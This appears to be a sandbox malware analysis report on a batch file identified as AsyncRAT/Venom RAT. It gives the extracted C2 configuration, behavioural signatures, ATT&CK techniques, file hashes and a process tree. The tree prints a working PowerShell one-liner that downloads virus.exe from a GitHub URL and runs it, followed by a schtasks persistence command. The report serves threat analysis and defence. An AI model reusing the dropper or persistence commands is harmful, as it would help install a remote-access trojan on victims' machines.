asyncrat | 7ed2dbc79e11bcea58da5489f14b40343d5d1962afc1dc97a17ee42bf93cd49c

Analysis

max time kernel
438s
max time network
439s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10-12-2024 22:57

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General

Target

test.bat
Size

1KB
MD5

b78408977228a09e62dca22d338feafb
SHA1

fac271d4467a36e7ca0b01a81e233e70e200c847
SHA256

7ed2dbc79e11bcea58da5489f14b40343d5d1962afc1dc97a17ee42bf93cd49c
SHA512

37a904d1fb2d03ec32582be38b3a242c63e3ce7f8d1a958327760ba1f8c5545801fb0645b97ff52ca141391bcb7f2ba743f7d11f616a4ba96d0abac6d949cf43

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

66.66.146.74:9511

Mutex

8906005788005HTGF

Attributes

delay
1
install
true
install_file
WINDOWS.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x0032000000023b76-17.dat	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	3784	powershell.exe
9	3784	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3784	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WINDOWS.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	virus.exe

Executes dropped EXE 2 IoCs

pid	Process
852	virus.exe
2324	WINDOWS.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
724	timeout.exe
1848	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2692	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3784	powershell.exe
3784	powershell.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
852	virus.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe
2324	WINDOWS.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	852	virus.exe
Token: SeDebugPrivilege	2324	WINDOWS.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2324	WINDOWS.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2616 wrote to memory of 452	2616	cmd.exe	84
PID 2616 wrote to memory of 452	2616	cmd.exe	84
PID 452 wrote to memory of 3784	452	cmd.exe	85
PID 452 wrote to memory of 3784	452	cmd.exe	85
PID 3784 wrote to memory of 852	3784	powershell.exe	87
PID 3784 wrote to memory of 852	3784	powershell.exe	87
PID 852 wrote to memory of 1036	852	virus.exe	88
PID 852 wrote to memory of 1036	852	virus.exe	88
PID 852 wrote to memory of 1588	852	virus.exe	90
PID 852 wrote to memory of 1588	852	virus.exe	90
PID 1036 wrote to memory of 2692	1036	cmd.exe	92
PID 1036 wrote to memory of 2692	1036	cmd.exe	92
PID 1588 wrote to memory of 724	1588	cmd.exe	93
PID 1588 wrote to memory of 724	1588	cmd.exe	93
PID 1588 wrote to memory of 2324	1588	cmd.exe	94
PID 1588 wrote to memory of 2324	1588	cmd.exe	94
PID 2324 wrote to memory of 516	2324	WINDOWS.exe	115
PID 2324 wrote to memory of 516	2324	WINDOWS.exe	115
PID 2324 wrote to memory of 4308	2324	WINDOWS.exe	117
PID 2324 wrote to memory of 4308	2324	WINDOWS.exe	117
PID 4308 wrote to memory of 1848	4308	cmd.exe	119
PID 4308 wrote to memory of 1848	4308	cmd.exe	119
PID 516 wrote to memory of 2268	516	cmd.exe	120
PID 516 wrote to memory of 2268	516	cmd.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2616
- C:\Windows\system32\cmd.exe
  cmd /k powershell -Command "$url = 'https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe'; $output = \"C:\\Users\\$env:UserName\\AppData\\Local\\Temp\\virus.exe\"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath $output -Wait"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$url = 'https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe'; $output = \"C:\\Users\\$env:UserName\\AppData\\Local\\Temp\\virus.exe\"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath $output -Wait"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3784
  - - C:\Users\Admin\AppData\Local\Temp\virus.exe
      "C:\Users\Admin\AppData\Local\Temp\virus.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:852
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1036
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2692
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp75CC.tmp.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1588
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:724
      - C:\Users\Admin\AppData\Roaming\WINDOWS.exe
        
        "C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2324
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "WINDOWS"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:516
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "WINDOWS"
        8⤵
        
        PID:2268
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpEFA7.tmp.bat""
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4308
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        8⤵
        Delays execution with timeout.exe
        
        PID:1848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dpcieayi.qvs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp75CC.tmp.bat

Filesize
151B

MD5
9952a4b1ebee27a7e6f425a8d69fa39b

SHA1
d0ad514b208439a7aac350987058f1afe1c0c0b0

SHA256
2225634980a8deec57a7161c14b6741d14d60f120e8e06b36ba153320f0526ec

SHA512
1256f2573a54f9a6d3735c3f34424ae341072d96a336cfed16b42facdcdfc343097f5eab52f271d2c0b513aa049c690de62316dece79ed43cddf4c8a9428e6b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpEFA7.tmp.bat

Filesize
156B

MD5
d982c93cec9338d40f4b7d3463297870

SHA1
59aa4c044e577420e8c7bc2a87aad6395eaa2e1d

SHA256
a5205ae4f8c2d401aec5c830ae3fb00ee38b3b13c06f48d82e6073a8e83c2503

SHA512
be291507248b82d2d4afb8684628542fcc218a346059774fc13a0d4099e55235a7a9bf847ce1dbd1cd0141e42f6578b7b5ec0e83add9d7e7c10a51a9dc9f58aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\virus.exe

Filesize
74KB

MD5
7a545dbf06e65f7f17f04ae0f5153e0e

SHA1
ab20193637edd250eac59fd71b6ea2b7a0faaad4

SHA256
c3556cd1169de28cb9f6ba3a06a875f756b1bbadfb51b7ce00c92f23d2cd4f5d

SHA512
98a56663c90195b0b22df4dcfd72cc4717e445d5eaa2f4571443becbe38a77121835073cbf56377f5cc11849e160dbe9e156fcff8a3fab2efd9aa97a1876d0d1

Download Submit
C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

Filesize
8B

MD5
cf759e4c5f14fe3eec41b87ed756cea8

SHA1
c27c796bb3c2fac929359563676f4ba1ffada1f5

SHA256
c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

SHA512
c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

Download Submit
memory/852-32-0x00007FFB80F40000-0x00007FFB81A01000-memory.dmp

Filesize
10.8MB

Download
memory/852-24-0x0000000000310000-0x0000000000328000-memory.dmp

Filesize
96KB

Download
memory/852-25-0x00007FFB80F40000-0x00007FFB81A01000-memory.dmp

Filesize
10.8MB

Download
memory/852-27-0x00007FFB80F40000-0x00007FFB81A01000-memory.dmp

Filesize
10.8MB

Download
memory/2324-43-0x000000001C260000-0x000000001C2D6000-memory.dmp

Filesize
472KB

Download
memory/2324-44-0x000000001C1E0000-0x000000001C246000-memory.dmp

Filesize
408KB

Download
memory/2324-45-0x000000001C240000-0x000000001C25E000-memory.dmp

Filesize
120KB

Download
memory/3784-11-0x00007FFB80F40000-0x00007FFB81A01000-memory.dmp

Filesize
10.8MB

Download
memory/3784-0-0x00007FFB80F43000-0x00007FFB80F45000-memory.dmp

Filesize
8KB

Download
memory/3784-38-0x00007FFB80F43000-0x00007FFB80F45000-memory.dmp

Filesize
8KB

Download
memory/3784-39-0x00007FFB80F40000-0x00007FFB81A01000-memory.dmp

Filesize
10.8MB

Download
memory/3784-42-0x00007FFB80F40000-0x00007FFB81A01000-memory.dmp

Filesize
10.8MB

Download
memory/3784-12-0x00007FFB80F40000-0x00007FFB81A01000-memory.dmp

Filesize
10.8MB

Download
memory/3784-1-0x000002B7FE280000-0x000002B7FE2A2000-memory.dmp

Filesize
136KB

Download
memory/3784-52-0x00007FFB80F40000-0x00007FFB81A01000-memory.dmp

Filesize
10.8MB

Download